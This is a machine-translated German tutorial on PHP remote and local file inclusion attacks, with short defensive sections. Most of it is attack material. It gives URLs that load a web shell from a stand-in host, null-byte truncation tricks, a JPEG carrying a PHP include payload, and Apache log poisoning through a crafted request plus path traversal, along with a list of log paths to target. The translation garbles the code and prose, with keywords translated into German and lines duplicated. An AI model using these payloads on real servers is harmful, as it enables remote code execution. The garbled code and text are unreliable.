This page has been robot translated, sorry for typos if any. Original content here.

PHP-umfassen und wie zu schützen



  • Globale umfassen Verwundbarkeit
  • Schutz gegen die globale inkluda
  • lokale umfassen Verwundbarkeit
  • Protokolle apatcha
  • Schutz vor lokalen inkluda


  • Einführung

    Globale umfassen Verwundbarkeit

    Die gefährlichsten Schwachstellen der Bahn, aber leider oder zum Glück heutzutage äußerst selten gefunden. Angriff ist es notwendig, was würden allow_url_include Funktion aktiviert wurde, das heißt „On“
    Die Sicherheitsanfälligkeit kann ein Angreifer beliebigen PHP-Server-Code auszuführen.
    In PHP gibt es vier Funktionen für Dateien in PHP-Skripten, einschließlich:

    * Include ();
    * Include_once ();
    * Require ();
    * Require_once ().

    Include () Funktion enthält den Inhalt der Datei in das Skript. Betrachten wir das Beispiel eines „doppelten“ anfällige Code:
      <? Php
     
      if ($ _GET [ 'page' ]. '.php') 
      {
     
      umfassen (_GET [ 'Seite' $ ] '.php . '); 
      }
     
      sonst
     
      {
     
      include ($ file '.php'. ); 
      }
     
      ?>
    
    
    Mit den Bedingungen überprüfen wir , ob durch die URL zum Server Elemente der Arrays $ _GET [ ‚page‘] gesendet , um zu sehen, der Anruf include () Funktion. Aufgrund der Tatsache, dass der Wert des Arrays $ _GET [ ‚page‘] nicht auf die Existenz überprüft wird, mit Hilfe von file_exists () Funktion kann ein Angreifer einen Angriff montieren:

    http://site.ru/index.php?page=http://hack.ru/shell Ansonsten inkluda wir (. $ file 'php. enthalten '); Hier genau die gleiche Situation, nur Code schreiben, ein wenig anders ist. Die Variable $ file ist nicht
    Es wurde früh bestimmt und Angreifer kann remote PHP-Code ausführen:
    http://site.ru/index.php?file=http://hack.ru/shell include_once () Funktion ist praktisch identisch mit der include (), mit einer Ausnahme: bevor die Programmdatei drehen, es prüft ob es früher enthalten. Wenn die Datei bereits aufgenommen wurde, wird include_once () Aufruf ignoriert, und wenn nicht - es ist eine Standard - Aufnahme - Datei.

    <?php
    include_once( $file . '.gif' ); ?>
    ); <?php
    include_once( $file . '.gif' ); ?>
    <?php
    include_once( $file . '.gif' ); ?>
    In diesem Beispiel wird eine Datei , die automatisch Erweiterung zugewiesen hochgeladen ‚.gif‘
    Befreien Sie sich von der Erweiterung ‚.gif‘ auf zwei Arten:
    1) , wenn magic_quotes_gpc = Aus möglich ist , ein „Null giftig“ zu verwenden , - 00% geschnitten , der Verlängerung
    http://site.ru/index.php?file=http://hack.ru/shell.php%00 2) , auch wenn magic_quotes_gpc = On
    http://site.ru/index.php?file=http://hack.ru/shell.php? Require () Funktion ist identisch mit include (), mit einer Ausnahme - die Datei angegebenen Parameter require (), wird im Skript enthält , egal wo sie require () im Skript.
    <?php
    require( $file );
    ?>
    <?php
    require( $file );
    ?>
    Der Angriff ist ähnlich, aber in diesem Fall wird die Erweiterung nicht zugeschrieben:
    http://site.ru/index.php?page=http://hack.ru/shell.php require_once () Funktion lädt die Datei in dem Skript nur einmal.
    <?php
    require_once( $file . '.php' );
    ?>
    <?php
    require_once( $file . '.php' );
    ?>
    Der Angriff ist ähnlich ...

    Betrachten wir nun eine weitere Option inkluda. Zu diesem Zeitpunkt ist es notwendig , dass in der php.ini verwendet
    allow_url_fopen Parameterwert gleich weiter, die der Standard ist.
    PHP - Code:
      <? Php
     
      $ F = fopen ( "$ file.php ", "R"); 
    
      während (! feof ($ f) ) 
      {
     
      $ S = fgets ($ f, 255);
     
      echo $ s;
     
      }
     
    
      fclose ($ f);
     
      ?>
    
    
    Aufgrund der Tatsache , dass der Variable $ file noch nicht bestimmt worden ist, kann der Angreifer einen Angriff durchführen:
    http://site.ru/index.php?file=http://hack.ru/shell Als Ergebnis erhalten wir wieder ein Web-Shell.

    Das folgende Beispiel - verwenden ReadFile- function ()
    <?php
    readfile
    ( $file );
    ?>
    <?php
    readfile
    ( $file );
    ?>
    Readfile () Funktion liest die Datei , deren Name als Parameter übergeben wird, und zeigt seinen Inhalt auf dem Bildschirm.
    Als Ergebnis erhalten wir wieder ein Web-Shell:
    http://site.ru/index.php?file=http://hack.ru/shell nun diese Option in Betracht ziehen:

    <?php
    echo implode ( "" , file ( $file ));
    ?>
    <?php
    echo implode ( "" , file ( $file ));
    ?>
    Die implodieren () Funktion verwenden, kombinieren wir die Elemente des Arrays in eine Zeichenfolge, die Datei () -Funktion den Inhalt einer Datei in ein Array erhalten. Als Ergebnis wieder einmal haben wir eine Web-Shell:
    http://site.ru/index.php?file=http://hack.ru/shell.php

    Schutz gegen die globale inkluda

    mit file_exists () und filtern unerwünschte Zeichen bestehen mit str_replace () Natürlich können Sie die Datei überprüfen, aber ich empfehle einen Entwurf Schaltergehäuse zu verwenden:

      <? Php
     
      global $ Seite;
     
      Schalter ($ page)
     
      {
     
      Fall ‚‘:
     
      umfassen ( "pages / main.php") ; 
      break;
     
    
      Fall 'index':
     
      umfassen ( "pages / main.php") ; 
      break;
     
      Fall ‚Seite1‘:
     
      include ( "Seiten / Ordner / page1.php "); 
      break;
     
      Fall 'page2':
     
      include ( "Seiten / Ordner / page2.php "); 
      break;
     
    
      Standard:
     
      umfassen ( "pages / hack.php") ; 
      break;
     
      }
     
      ?>
    
    
    So empfehle ich die php.ini - Datei zu bearbeiten:

    allow_url_include = Aus // Setzen Sie die Dateien inkluda nicht entfernen
    allow_url_fopen = Off // verbieten fopen Links zu öffnen
    register_globals = Off // deaktivieren Sie die Initialisierung der globalen Variablen
    safe_mode = On // umfassen safe_mode (bei Hecker wird keinen Zugriff auf / etc / passwd und ähnliche)

    lokale umfassen Verwundbarkeit

    Nicht weniger gefährlich Schwachstelle im Internet. Es erlaubt einen Angreifer zu Grunde liegende Dateien auf dem Server inkluda. Viele Neulinge stoßen diese Fehlercodierung Web-Gussgehäuse, weil nicht wissen, wie es weitergeht und in welcher Richtung zu graben. Ich werde ein allgemeines Beispiel geben:
    <?php
    include( "include/$file" );
    ?>
    <?php
    include( "include/$file" );
    ?>
    Globale proinkludit nicht funktionieren, weil die Variable $ Datei nach dem Verzeichnis zugeordnet wird / include /
    Was kann getan werden?

    Das Ideal gilt als der Fall sein, wenn die Website wert ist oder ein Forum oder eine andere Form, die jede Datei c jede Erweiterung zum Download genutzt werden kann.
    Stellt sich die Frage - warum mit jeder Erweiterung? Nehmen Sie zum Beispiel eine fiktive Website, die die Fähigkeit hat, Avatare durch das Forum zu. Das Forum sollte Skript, das prüft, - ob der Benutzer tatsächlich das Foto hochgeladen? Öffnen Sie die Farbe und speichert jedes Bild zum Beispiel im jpg-Format. Dann öffnen Sie sie mit Notizblock und schreiben Code nach dem Bild < ? Php include ( „http://hack.ru/shell.php“) ?; ?> Als Ergebnis erhalten wir etwa folgendes Bild:
    			
     yaShyaa JFIF `` Yay C           		 
     
    
                     $. '  „# (7) 01 444‚9 = 82 <.342yaY C 			  
    
      2!  ! 222222222222222222222222222222222222222222222 22222yaA 6. Juni „Gift                    	
      Yad μ}! 1A Qa „q 2Ѓ'Ў # B ± B Rav $ 3br,	
          % & '() * 456789: CDEFGHIJSTUVWXYZcdefghijstuvwxyzѓ“... † ‡ € ‰ š'" "• - ~ ™ љўЈ¤Ґ | §O © ЄІіґμ¶ · o№єVGDEZhZIYKTUFHTsChShSchbvgd ezhziykstufhtschshschyaD                       	
      Yad μ w! 1 AQ aq „2Ѓ B'Ў ± B # 3RR BRS
    
      $ 4b% bis & '() * 56789: CDEFGHIJSTUVWXYZcdefghijstuvwxyz, ѓ“... † ‡ € ‰ š'" "• - ~ ™ љўЈ¤Ґ | §O © ЄІіґμ¶ · o№єVGDEZhZIYKTUFHTsChShSchvgde zhziyktufhtschshschya?  Nicht-Orthogonalität (ўЂ
     (ўЂ
     (ўЂ
     (ўЂ
     (ўЂ
     (ўЂ
     (ўЂ
     (ўЂ
    
     (ўЂ
     (ўЂ
     (ўЂ
     (ўЂ
     (ўЂ
     (ўЂ
     (ўЂ
     (ЎЂ? Crate
     <? Php include ( "http://hack.ru/shell.php") ?;  ?>
    
    Nun kann das Bild auf dem Forum hochgeladen werden, und es wird nur als Bild wahrgenommen werden
    Lassen Sie uns auf die Frage der Erweiterung zurückzukehren. Warum passen wir jemand? Die Tatsache, dass die Funktion beinhaltet ()
    lädt den Code von einer Datei in einer ausführbaren Datei. Hier ein Beispiel:
    http://www.site.com/index.php?include=../forum/images/shell.jpg Als Ergebnis ist der Code in der Datei index.php, <? php ( „http://hack.ru/ shell.php „); ?>

    Protokolle apatcha

    Neben hält Apache bekannt ist , eine Protokolldatei httpd-access.log und httpd-error.log und alle Anfragen
    natürlich protokolliert und an die entsprechenden Dateien geschrieben. Das ist über ihre Lage:
     /logs/error.log
     /logs/access.log
    
     / Logs / error_log
     / Logs / access_log
    
     / Var / log / error_log 
     / Var / log / access_log
     /var/log/error.log 
     /var/log/access.log
    
     / Var / www / logs / error_log
     /var/www/logs/error.log
    
     / Var / www / logs / access_log
     /var/www/logs/access.log
    
     / Var / log / apache / error_log
     /var/log/apache/error.log
     / Var / log / apache / access_log
     /var/log/apache/access.log
    
     /var/log/httpd/error.log
     /var/log/httpd/access.log
    
     / Var / log / httpd / error_log
     / Var / log / httpd / access_log
    
     /apache/logs/error.log
     /apache/logs/access.log
     / Apache / logs / error_log
     / Apache / logs / access_log
    
     / Usr / local / apache / logs / error_log
     /usr/local/apache/logs/error.log
    
     / Usr / local / apache / logs / access_log
     /usr/local/apache/logs/access.log
    
     / Home / www / logs / error_log
     /home/www/logs/error.log
     / Home / www / logs / access_log
     /home/www/logs/access.log
    
    Ich will ein Beispiel geben lokalhoste, ich denke, viele werden klarer. Mit InetCrack Programm sende ich ein Paket mit folgendem Inhalt:
    GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
    Host: localhost
    User-Agent: google/bot
    Keep-Alive: 300
    Connection: keep-alive
    Referer: http://127.0.0.1/
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 104
    GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
    Host: localhost
    User-Agent: google/bot
    Keep-Alive: 300
    Connection: keep-alive
    Referer: http://127.0.0.1/
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 104
    Paket - Header wird in die Protokolle geschrieben apatcha sich unter:
    Z:\usr\local\apache\logs\access.log \ logs \ access.log Dh hier ist eine Linie in dieser geschrieben habe ich gefunden:
    127.0.0.1 - - [14/Nov/2008:15:40:43 +0200] "GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.1" 400 414 ?; HTTP (" http://hack.ru/shell.php „)> 127.0.0.1 - - [14/Nov/2008:15:40:43 +0200] "GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.1" 400 414 ich denke , die Essenz ist klar. Es bleibt seine proinkludit:
    http://localhost/1.php?file=../../../../usr/local/apache/logs/access.log / .. / .. / usr / local / apache / logs / access.log? Und Sie erhalten eine Web-Schale :)

    Schutz vor lokalen inkluda

    Hier ist ein kleines Beispiel, wie sie sich schützen können:
      <? Php
     
    


    Funktion stripslashes_for_array (& $ array)
    {
    zurückgesetzt ($ array);
    while (list ($ key, $ val) = each ($ array))
    {
    if (is_string ($ val)) $ array [$ key] = strip ($ val);
    Elseif (is_array ($ val)) $ array [$ key] = stripslashes_for_array ($ val);
    }
    return $ Array;
    }

    if (! get_magic_quotes_gpc ())
    {
    stripslashes_for_array ($ _POST);
    stripslashes_for_array ($ _GET);
    }

    if (isset ($ _GET [ ' Datei'])) $ file = $ _GET [ 'Datei'];
    sonst
    {
    if (isset ($ _POST [ ' Datei'])) $ file = $ _POST [ 'Datei']; sonst $ file = ''; } $ File = str_replace ( '/' , '', $ file); $ File = str_replace ( '' , $ file ' '); if (! file_exists ( "include" . '/'. $ file. '.php') || $ file == 'index') { $ File = 'Nachrichten'; } include ( "include" '/' $ file '.php' ...); ?>

    Also, was ist denn hier los? Jedes Element wird geprüft Funktion strip (). Es tötet Backslash. Als nächstes überprüft den installierten oder nicht, den Wert des Array-Elements. Otfiltrovuem ungültige Zeichen ( '/', '') Funktion str_replace (). Wenn die Datei nicht existiert (überprüfen file_exists () -Funktion) - einen Wert von ‚Nachrichten‘ Variable $ file = zuweisen. In anderen Fällen (wenn die Datei vorhanden ist) inkluda es.